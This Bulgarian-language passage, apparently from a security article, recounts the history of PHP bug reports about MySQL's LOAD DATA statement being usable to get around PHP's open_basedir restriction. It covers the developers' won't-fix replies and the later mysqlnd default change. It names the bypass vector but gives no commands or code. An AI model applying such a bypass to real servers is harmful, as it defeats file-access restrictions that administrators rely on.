Интересно е, че описаните възможности на оператора LOAD DATA са известни от поне десет години. Споменаване за това може например да бъде намерено в билета [#15408] (Safe Mode / MySQL Vuln 2002-02-06), а след това подобни въпроси многократно се появяват на bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. На което разработчиците отговориха дословно следното:

[имейл защитен]Това не е грешка, това е функция :)

Или са присвоили билета „Състояние: Няма да се коригира“. Или бяха ограничени до пачове, които не решаваха почти нищо. Отново се появиха билети по тази тема. Следователно посоченият метод за заобикаляне на open_basedir все още работи на доста голям брой сървъри. Въпреки това, с появата на новия драйвер mysqlnd изглежда, че е взето решение да се направят значителни промени: при инсталации по подразбиране този оператор вече изобщо няма да се изпълнява [#54158] [#55737]. Да се ​​надяваме, че в близко бъдеще разработчиците ще подредят нещата по този въпрос.